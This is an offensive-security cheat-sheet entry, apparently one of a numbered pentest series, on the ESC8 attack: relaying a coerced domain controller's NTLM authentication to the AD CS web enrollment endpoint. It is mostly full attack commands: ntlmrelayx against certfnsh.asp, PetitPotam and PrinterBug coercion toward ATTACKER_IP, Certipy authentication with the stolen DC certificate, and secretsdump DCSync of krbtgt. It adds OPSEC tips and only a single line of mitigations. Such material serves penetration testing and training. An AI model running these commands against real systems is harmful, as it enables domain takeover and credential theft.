🟢 Attack #33 — ESC8: NTLM Relay to ADCS HTTP Endpoint

📖 How It Works

ESC8 is one of the most impactful ADCS attacks — it enables a full domain compromise from unauthenticated or low-privileged access by combining NTLM coercion (PetitPotam, PrinterBug) with NTLM relay to the CA’s Web Enrollment HTTP endpoint. The attacker coerces a Domain Controller to authenticate, relays that authentication to the CA’s HTTP enrollment service, and requests a certificate as the DC machine account — then uses that certificate to DCSync.

Attack Chain

1. Start ntlmrelayx targeting the CA's HTTP enrollment endpoint
2. Coerce DC to authenticate to your listener (PetitPotam/PrinterBug)
3. ntlmrelayx relays DC's NTLM auth to the CA web enrollment
4. CA issues a certificate for the DC machine account
5. Use the DC certificate to authenticate and DCSync

⚙️ Prerequisites

🛠️ Tools

💻 Full Commands

🔴 Full ESC8 Attack

# ── Step 1: Start ntlmrelayx targeting CA web enrollment ──────────────────────
ntlmrelayx.py -t http://CA01.corp.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# ── Step 2: Coerce DC authentication to your listener ────────────────────────
# PetitPotam (unauthenticated on unpatched):
python3 PetitPotam.py ATTACKER_IP DC01.corp.local

# Or with credentials:
python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \
  ATTACKER_IP DC01.corp.local

# Or PrinterBug:
printerbug.py corp.local/low_user:'Password1'@DC01.corp.local ATTACKER_IP

# ── ntlmrelayx output: ───────────────────────────────────────────────────────
# [*] SMBD: Received connection from 10.10.10.10
# [*] Relaying to http://CA01.corp.local/certsrv/certfnsh.asp
# [*] Certificate successfully enrolled!
# [*] Base64 certificate: <long_base64_string>

# ── Step 3: Save the base64 certificate ───────────────────────────────────────
echo "<base64_cert>" | base64 -d > dc01.pfx

# ── Step 4: Authenticate with the DC certificate ─────────────────────────────
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10
# Returns DC01$ NT hash

# ── Step 5: DCSync with DC machine hash ───────────────────────────────────────
secretsdump.py corp.local/'DC01$'@DC01.corp.local \
  -hashes :<DC01_NTHASH> -just-dc-user krbtgt

🔴 Using Certipy Relay Module

# ── Certipy relay (alternative to ntlmrelayx) ────────────────────────────────
certipy relay -ca CA01.corp.local -template DomainController

# Then coerce with PetitPotam as above

🎯 OPSEC Tips

• PetitPotam may work unauthenticated on unpatched DCs — highest impact scenario
• ESC8 is the quintessential ADCS attack — shown in every major pentest certification
• Check for EPA before attempting — Certipy find will report if EPA is enforced
• The certificate template must be DomainController or Machine — to get a cert for the DC

🛡️ Detection — Event IDs

🔗 Attack Chain Context

[ESC8] ──→ NTLM Relay to CA → DC certificate → DCSync → domain compromise
         │
         ├──→ 🖨️ Coerce: PetitPotam (#41) / PrinterBug (#42)
         ├──→ 🩸 DC cert → DCSync → KRBTGT → Golden Ticket
         ├──→ 💥 Potentially unauthenticated full domain compromise
         └──→ 💀 Defeated by: enable EPA, enforce HTTPS, disable web enrollment

✅ Attack #33 — ESC8 complete.